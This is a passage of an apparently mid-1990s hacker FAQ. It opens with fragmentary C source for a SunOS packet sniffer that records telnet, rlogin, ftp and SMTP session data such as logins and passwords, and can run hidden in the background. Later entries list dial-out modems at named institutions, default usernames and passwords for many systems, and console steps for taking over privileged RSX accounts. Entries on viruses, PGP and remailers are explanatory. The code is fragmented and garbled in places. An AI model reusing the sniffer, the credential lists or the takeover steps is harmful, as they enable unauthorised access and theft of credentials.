{ static char buf[10];
register char *p;

switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */

char *NOWtm()
{ time_t tm;
return( Ptm(&tm) );

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
CLr = CLr->Next;

bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \

#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;

fprintf(LOG,"\n-- \n");

if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
CLroot = CLe->Next;

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
register struct ip *ip;
register struct tcphdr *tcph;

{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;

if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */

/* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( (TCPD == IPPORT_TELNET) ||
)) return;

{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;

p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));



if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");

END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );

} else {






/* signal handler
void death()
{ register struct CREC *CLe;

END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
if(LOG != stdout)

/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
void do_it()
int cc;
char *buf;
u_short sp_ts_len;

Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;

if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");

if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");

si.ic_timout = INFTIM;

if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)𝔦
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");

while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);

while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;

hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
Pexit((-1),"Eth: read");
/* Authorize your program, generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];

sprintf(prmpt,"(%s)UP? ",ProgName);
void main(argc, argv)
int argc;
char **argv;
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,


/* getauth(); */

while((ac<argc) && (argv[ac][0] == '-')) {
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
case 'B': backg=1;
case 'D': debug=1;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",

if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");

ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");

device = ifc.ifc_req->ifr_name;

fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");


signal(SIGINT, death);

if(backg && debug) {
fprintf(ERR,"[Cannot bg with debug on]\n");

if(backg) {
register int s;

if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
} else if(s<0)

if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());


20. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can
use to dial out. Normal outdials will only call local numbers. A GOD
(Global OutDial) is capable of calling long distance. Outdials are an
inexpensive method of calling long distance BBS's.

21. What are some Internet Outdials?

This FAQ answer is excerpted from CoTNo #5:

Internet Outdial List v3.0
by Cavalier and DisordeR

There are several lists of Internet outdials floating around the net these
days. The following is a compilation of other lists, as well as v2.0 by
DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author
just ripped other people and released it, we have sat down and tested
each one of these. Some of them we have gotten "Connection Refused" or
it timed out while trying to connect...these have been labeled dead.

Working Outdials
as of 12/29/94

NPA IP Address Instructions
--- ---------- ------------
215 isn.upenn.edu modem

217 dialout.cecer.army.mil atdt x,xxxXXXXX

218 modem.d.umn.edu atdt9,xxxXXXX

303 yuma.acns.colostate.edu 3020

412 myriad.pc.cc.cmu.edu 2600 Press D at the prompt

412 gate.cis.pitt.edu tn3270,
connect dialout.pitt.edu,

413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx

502 outdial.louisville.edu

502 uknet.uky.edu connect kecnet
@ dial: "outdial2400 or out"

602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy

614 ns2400.acs.ohio-state.edu

614 ns9600.acs.ohio-state.edu

713 atdt x,xxxXXXX

714 modem.nts.uci.edu atdt[area]0[phone]

804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx

804 ublan2.acc.virginia.edu connect telnet
connect hayes

Need Password

206 rexair.cac.washington.edu This is an unbroken password
303 yuma.ACNS.ColoState.EDU login: modem
404 .modem8|CR
415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
514 cartier.CC.UMontreal.CA externe,9+number
703 wal-3000.cns.vt.edu dial2400 -aa

Dead/No Connect

201 idsnet
202 modem.aidt.edu
204 dial.cc.umanitoba.ca
204 umnet.cc.manitoba.ca "dial12" or "dial24"
206 dialout24.cac.washington.edu
207 modem-o.caps.maine.edu
212 B719-7e.NYU.EDU dial3/dial12/dial24
212 B719-7f.NYU.EDU dial3/dial12/dial24
212 DIALOUT-1.NYU.EDU dial3/dial12/dial24
212 FREE-138-229.NYU.EDU dial3/dial12/dial24
212 UP19-4b.NYU.EDU dial3/dial12/dial24
215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy"
218 aa28.d.umn.edu "cli" "rlogin modem"
at "login:" type "modem"
218 modem.d.umn.edu Hayes 9,XXX-XXXX
301 dial9600.umd.edu
305 alcat.library.nova.edu
305 office.cis.ufl.edu
307 modem.uwyo.edu Hayes 0,XXX-XXXX
313 dial2400-aa or dial1200-aa
or dialout
402 dialin.creighton.edu
402 modem.criegthon.edu
404 broadband.cc.emory.edu ".modem8" or ".dialout"
408 dialout.scu.edu
408 dialout1200.scu.edu
408 dialout2400.scu.edu
408 dialout9600.scu.edu
413 dialout.smith.edu
414 modems.uwp.edu
416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx
416 pacx.utcs.utoronto.ca modem
503 dialout.uvm.edu
513 dialout24.afit.af.mil
513 r596adi1.uc.edu
514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx
517 engdial.cl.msu.edu
602 dial9600.telcom.arizona.edu
603 dialout1200.unh.edu
604 dial24-nc00.net.ubc.ca
604 dial24-nc01.net.ubc.ca
604 dial96-np65.net.ubc.ca
604 gmodem.capcollege.bc.ca
604 hmodem.capcollege.bc.ca
609 (X= 1 - 4) Hayes
609 (x = 1 to 4)
609 wright-modem-1.rutgers.edu
609 wright-modem-2.rutgers.edu
612 modem_out12e7.atk.com
612 modem_out24n8.atk.com
614 ns2400.ircc.ohio-state.edu "dial"
615 dca.utk.edu dial2400 D 99k #
615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx
616 modem.calvin.edu
617 2400baud
617 dialout.lcs.mit.edu
617 dialout1.princeton.edu
617 isdn3.Princeton.EDU
617 jadwingymkip0.Princeton.EDU
617 lord-stanley.Princeton.EDU
617 mpanus.Princeton.EDU
617 mrmodem.wellesley.edu
617 old-dialout.Princeton.EDU
617 stagger.Princeton.EDU
617 sunshine-02.lcs.mit.edu
617 waddle.Princeton.EDU
619 atdt [area][phone]
619 dialin.ucsd.edu "dialout"
703 modem_pool.runet.edu
703 wal-3000.cns.vt.edu
713 "c modem96" "atdt 9xxx-xxxx"
or "Hayes"
713 modem12.bcm.tmc.edu
713 modem24.bcm.tmc.edu
713 modem24.bcm.tmc.edu
714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx
714 modem24.nts.uci.edu
714 pub-gopher.cwis.uci.edu
801 dswitch.byu.edu "C Modem"
808 irmodem.ifa.hawaii.edu
902 star.ccs.tuns.ca "dialout"
916 cc-dnet.ucdavis.edu connect hayes/dialout
916 engr-dnet1.engr.ucdavis.edu UCDNET <ret> C KEYCLUB <ret>
??? (1 - 4)
??? nue, X to discontinue, ? for Help
??? ntu <none>
??? annexdial.rz.uni-duesseldorf.de
??? dial96.ncl.ac.uk
??? dialout.plk.af.mil
??? ee21.ee.ncu.edu.tw cs8005
??? im.mgt.ncu.edu.tw guest <none>
??? modem.cis.uflu.edu
??? modem.ireq.hydro.qc.ca
??? modems.csuohio.edu
??? sparc20.ncu.edu.tw u349633
??? sun2cc.nccu.edu.tw ?
??? ts-modem.une.oz.au
??? twncu865.ncu.edu.tw guest <none>
??? vtnet1.cns.ut.edu "CALL" or "call"

If you find any of the outdials to have gone dead, changed commands,
or require password, please let us know so we can keep this list as
accurate as possible. If you would like to add to the list, feel free
to mail us and it will be included in future versions of this list,
with your name beside it. Have fun...

[Editors note: Updates have been made to this document after
the original publication]

22. What is this system?

IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.

[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]


Once in, type GO MAIN

CDC Cyber

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730. NOS 2.5.2-678/3.

You would normally just hit return at the family prompt. Next prompt is:


CISCO Router
95-866 TNO VirtualBank
REMOTE Router - TN043R1

Console Port

SN - 00000866


DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO


Hewlett Packard MPE-XL







Lantronix Terminal Server
Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>

Meridian Mail (Northern Telecom Phone/Voice Mail System)

Copyright (c) Northern Telecom, 1991

Novell ONLAN
<Control-A aka smiley face>N

[To access the systems it is best to own a copy of ONLAN/PC]

<Control-A aka smiley face>P

[To access the systems it is best to own a copy of PCAnywhere Remote]


<any text>



Primenet V 2.3 (system)
LOGIN (you)
User id? (system)
SAPB5 (you)
Password? (system)
OK, (system)

ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568
12:38:47 ON WEDNESDAY 2/15/1995




MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47

Login: root

Login: browse

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]

NIH Timesharing

NIH Tri-SMP 7.02-FF 16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN



TBVM2 VM/ESA Rel 1.1 PUT 9200

Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)


Xylogics Annex Communications Server
Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait... -
Annex username: TNO - Optional security check
Annex password: - Not always present

Permission granted

23. What are the default accounts for XXX?

guest guest

qsecofr qsecofr /* master security officer */
qsysopr qsysopr /* system operator */
qpgmr qpgmr /* default programmer */


ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qserv qserv
qsvr qsvr
secofr secofr
qsrv ibmce1


Dynix (The library software, not the UnixOS)
(Type 'later' to exit to the login prompt)
setup <no password>
library <no password>
circ <Social Security Number>

Hewlett Packard MPE-XL

Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS
Sysop Sysop

Mitel PBX

root NeXT
signa signa
me <null> (Rumored to be correct, not checked)

Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
fax <no password>

DSA # Desquetop System Administrator

NETOP <null>

Radio Shack Screen Savers

CBX Defaults

op op
op operator
su super
admin pwp
eng engineer

PhoneMail Defaults

sysadmin sysadmin
tech tech
poll tech

1,1/system (Directory [1,1] Password SYSTEM)

Default accounts for Micro/RSX:


Alternately you can hit <CTRL-Z> when the boot sequence asks you for the
date and create an account using:


(Numbers below 10 {oct} are privileged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.

type " run $acnt" and change the password of any account with a group
number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system,
just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system. This will hopefully result in indirect blowing
up... And hopefully the system has not been fully secured.

SGI Irix
4DGifts <no password>
guest <no password>
demos <no password>
lp <no password>
nuucp <no password>
tour <no password>
tutor <no password>

System 75
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field

Taco Bell
rgm rollout
tacobell <null>

Verifone Junior 2.05
Default password: 166816

field service
systest utep

XON / XON Junior
Default password: 166831

24. What port is XXX on?

The file /etc/services on most Unix machines lists the port
assignments for that machine. For a complete list of port
assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"

25. What is a trojan/worm/virus/logic bomb?

This FAQ answer was written by Theora:


Remember the Trojan Horse? Bad guys hid inside it until they could
get into the city to do their evil deed. A trojan computer program is
similar. It is a program which does an unauthorized function, hidden
inside an authorized program. It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does. If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans. Some virus scanning
programs don't detect any trojans. No virus scanners detect all


A virus is an independent program which reproduces itself. It may
attach to other programs, it may create copies of itself (as in
companion viruses). It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space. Some virus scanners detect some viruses. No
virus scanners detect all viruses. No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".


Made famous by Robert Morris, Jr. , worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems. They are self
contained and use the networks to spread, in much the same way viruses
use files to spread. Some people say the solution to viruses and
worms is to just not have any files or networks. They are probably
correct. We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a
designated condition is met. For instance, a logic bomb could delete
all files on Dec. 5th. Unlike a virus, a logic bomb does not make
copies of itself.

26. How can I protect myself from viruses and such?

This FAQ answer was written by Theora:

The most common viruses are boot sector infectors. You can help protect
yourself against those by write protecting all disks which you do not
need write access to. Definitely keep a set of write protected floppy
system disks. If you get a virus, it will make things much simpler.
And, they are good for coasters. Only kidding.

Scan all incoming files with a recent copy of a good virus scanner.
Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and
Thunderbyte Anti-Virus. AVP is also a good program. Using more than
one scanner could be helpful. You may get those one or two viruses that
the other guy happened to miss this month.

New viruses come out at the rate of about 8 per day now. NO scanner can
keep up with them all, but the four mentioned here do the best job of
keeping current. Any _good_ scanner will detect the majority of common
viruses. No virus scanner will detect all viruses.

Right now there are about 5600 known viruses. New ones are written all
the time. If you use a scanner for virus detection, you need to make
sure you get frequent updates. If you rely on behavior blockers, you
should know that such programs can be bypassed easily by a technique
known as tunnelling.

You may want to use integrity checkers as well as scanners. Keep in
mind that while these can supply added protection, they are not

You may want to use a particular kind of scanner, called resident
scanners. Those are programs which stay resident in the computer memory
and constantly monitor program execution (and sometimes even access to
the files containing programs). If you try to execute a program, the
resident scanner receives control and scans it first for known viruses.
Only if no such viruses are found, the program is allowed to execute.

Most virus scanners will not protect you against many kinds of trojans,
any sort of logic bombs, or worms. Theoretically, they _could_ protect
you against logic bombs and/or worms, by addition of scanning strings;
however, this is rarely done.

The best, actually only way, to protect yourself is to know what you
have on your system and make sure what you have there is authorized by
you. Make frequent backups of all important files. Keep your DOS
system files write protected. Write protect all disks that you do not
need to write to. If you do get a virus, don't panic. Call the support
department of the company who supplies your anti-virus product if you
aren't sure of what you are doing. If the company you got your
anti-virus software from does not have a good technical support
department, change companies.

The best way to make sure viruses are not spread is not to spread them.
Some people do this intentionally. We discourage this. Viruses aren't

27. Where can I get more information about viruses?

This FAQ answer was written by Theora:

Assembly language programming books illustrate the (boring) aspect of
replication and have for a long time. The most exciting/interesting
thing about viruses is all the controversy around them. Free speech,
legality, and cute payloads are a lot more interesting than "find first,
find next" calls. You can get information about the technical aspects
of viruses, as well as help if you should happen to get a virus, from
the virus-l FAQ, posted on comp. virus every so often. You can also pick
up on the various debates there. There are alt.virus type newsgroups,
but the level of technical expertise is minimal, and so far at least
there has not been a lot of real "help" for people who want to get -rid-
of a virus.

There are a lot of virus experts. To become one, just call yourself
one. Only Kidding. Understanding viruses involves understanding
programming, operating systems, and their interaction. Understanding
all of the 'Cult of Virus' business requires a lot of discernment. There
are a number of good papers available on viruses, and the Cult of Virus;
you can get information on them from just about anyone listed in the
virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de is a pretty
reliable site for programs and text.

28. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from: Computer Security Basics
by Deborah Russell
and G.T. Gengemi Sr.

A message is called either plaintext or cleartext. The process of
disguising a message in such a way as to hide its substance is called
encryption. An encrypted message is called ciphertext. The process
of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers. Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise. The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.

29. What is PGP?

This FAQ answer is excerpted from: PGP(tm) User's Guide
Volume I: Essential Topics
by Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys. PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MS-DOS, Unix,
VAX/VMS, and other computers. PGP allows people to exchange files or
messages with privacy, authentication, and convenience. Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software. No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use. This is because PGP is based on a powerful
new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management.
And PGP performs the public-key functions faster than most other
software implementations. PGP is public key cryptography for the

30. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance

Computers and other electronic equipment release interference to their
surrounding environment. You may observe this by placing two video
monitors close together. The pictures will behave erratically until you
space them apart.

What is important for an observer is the emission of digital pulses (1s
and 0s) as these are used in computers. The channel for this radiation
is in two arrangements, radiated emissions and conducted emissions.
Radiated emissions are assembled when components in electrical devices
form to act as antennas. Conducted emissions are formed when radiation
is conducted along cables and wires.

Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful. Suppose we wanted to see what project a
target was working on. We could sit in a van outside her office and use
sensitive electronic equipment to attempt to pick up and decipher the
radiated emissions from her video monitor. These emissions normally
exist at around 55-245 Mhz and can be picked up as far as one kilometer

A monitoring device can distinguish between different sources emitting
radiation because the sources emanating the radiation are made up of
dissimilar elements and so this coupled with other factors varies the
emitted frequency. For example different electronic components in VDUs,
different manufacturing processes involved in reproducing the VDUs,
different line syncs, etc... By synchronizing our raster with the
targets raster we can passively draw the observed screen in real-time.
This technology can be acquired by anyone, not just government agencies.

The target could shield the emissions from her equipment or use
equipment that does not generate strong emissions. However, Tempest
equipment is not legal for civilian use in the United States.

Tempest is the US Government program for evaluation and endorsement of
electronic equipment that is safe from eavesdropping. Tempest
certification refers to the equipment having passed a testing phase and
agreeing to emanations rules specified in the government document NACSIM
5100A (Classified). This document sets forth the emanation levels that
the US Government believes equipment can give off without compromising
the information it is processing.

31. What is an anonymous remailer?

This FAQ answer was written by Raph Levien:

An anonymous remailer is a system on the Internet that allows you to
send e-mail or post messages to Usenet anonymously.

There are two sorts of remailers in widespread use. The first is the
anon.penet.fi style, the second is the cypherpunk style. The remailer
at anon.penet.fi is immensely popular, with over 160,000 users over its
lifetime, and probably tens of thousands of messages per day. Its main
advantage is that it's so easy to use. The cypherpunks mailers, which
provide much better security, are becoming more popular, however, as
there is more awareness of them.

The user of the anon.penet.fi system first needs to get an anonymous id.
This is done either by sending mail to somebody who already has one (for
example, by replying to a post on Usenet), or sending mail to
ping@anon.penet.fi. In either case, penet will mail back the new anon
id, which looks like an123456@anon.penet.fi. If an123456 then sends
mail to another user of the system, then this is what happens:

1. The mail is transported to anon.penet.fi, which resides somewhere in
the vicinity of Espoo, Finland.

2. These steps are carried out by software running on anon.penet.fi.
Penet first looks up the email address of the sender in its
database, then replaces it with the numeric code. All other
information about the sender is removed.

3. Then, penet looks up the number of the recipient in the same
database, and replaces it with the actual email address.

4. Finally, it sends the mail to the actual email address of the

There are variations on this scheme, such as posting to Usenet (in which
step 3 is eliminated), but that's the basic idea.

Where anon.penet.fi uses a secret database to match anon id's to actual
email addresses, the cypherpunks remailers use cryptography to hide the
actual identities. Let's say I want to send email to a real email
address, or post it to Usenet, but keep my identity completely hidden.
To send it through one remailer, this is what happens.

1. I encrypt the message and the recipient's address, using the public
key of the remailer of my choice.

2. I send the email to the remailer.

3. When the remailer gets the mail, it decrypts it using its private
key, revealing as plaintext the message and the recipient's address.

4. All information about the sender is removed.

5. Finally, it sends it to the recipient's email address.

If one trusts the remailer operator, this is good enough. However, the
whole point of the cypherpunks remailers is that you don't _have_ to
trust any one individual or system. So, people who want real security
use a chain of remailers. If any one remailer on the "chain" is honest,
then the privacy of the message is assured.

To use a chain of remailers, I first have to prepare the message, which
is nestled within multiple layers of encryption, like a Russian
matryoshka doll. Preparing such a message is tedious and error prone,
so many people use an automated tool such as my premail package.
Anyway, after preparing the message, it is sent to the first remailer in
the chain, which corresponds to the outermost layer of encryption. Each
remailer strips off one layer of encryption and sends the message to the
next, until it reaches the final remailer. At this point, only the
innermost layer of encryption remains. This layer is stripped off,
revealing the plaintext message and recipient for the first time. At
this point, the message is sent to its actual recipient.

Remailers exist in many locations. A typical message might go through
Canada, Holland, Berkeley, and Finland before ending up at its final

Aside from the difficulty of preparing all the encrypted messages,
another drawback of the cypherpunk remailers is that they don't easily
allow responses to anonymous mail. All information about the sender is
stripped away, including any kind of return address. However the new
alias servers promise to change that. To use an alias server, one
creates a new email address (mine is raph@alpha.c2.org). Mail sent to
this new address will be untraceably forwarded to one's real address.

To set this up, one first encrypts one's own email address with multiple
layers of encryption. Then, using an encrypted channel, one sends the
encrypted address to the alias server, along with the nickname that one
would like. The alias server registers the encrypted address in the
database. The alias server then handles reply mail in much the same way
as anon.penet.fi, except that the mail is forwarded to the chain of
anonymous remailers.

For maximum security, the user can arrange it so that, at each link in
the chain, the remailer adds another layer of encryption to the message
while removing one layer from the email address. When the user finally
gets the email, it is encrypted in multiple layers. The matryoshka has
to be opened one doll at a time until the plaintext message hidden
inside is revealed.

One other point is that the remailers must be reliable in order for all
this to work. This is especially true when a chain of remailers is used
-- if any one of the remailers is not working, then the message will be
dropped. This is why I maintain a list of reliable remailers. By
choosing reliable remailers to start with, there is a good chance the
message will finally get there.

32. What are the addresses of some anonymous remailers?

The most popular and stable anonymous remailer is anon.penet.fi,
operated by Johan Helsingus. To obtain an anonymous ID, mail

The server at anon.penet.fi does it's best to remove any headers or
other information describing its true origin. You should make an effort
and try to omit information detailing your identity within such messages
as quite often signatures not starting with "--" are including within
your e-mail, this of course is not what you want. You can send messages


Here you are addressing another anonymous user and your E-Mail message
will appear to have originated from anon.penet.fi.


Here you are posting an anonymous message to a whole Usenet group and in
this case to alt.security which will be posted at the local site (in
this case Finland).


If you send a message to this address you will be allocated an identity
(assuming you don't already have one). You can also confirm your
identity here as well.

You can also set yourself a password, this password helps to
authenticate any messages that you may send. This password is included
in your outgoing messages, to set a password send E-Mail to
password@anon.penet.fi with your password in the body of your text e.g.:

To: password@anon.penet.fi

For more information on this anonymous server send mail to:


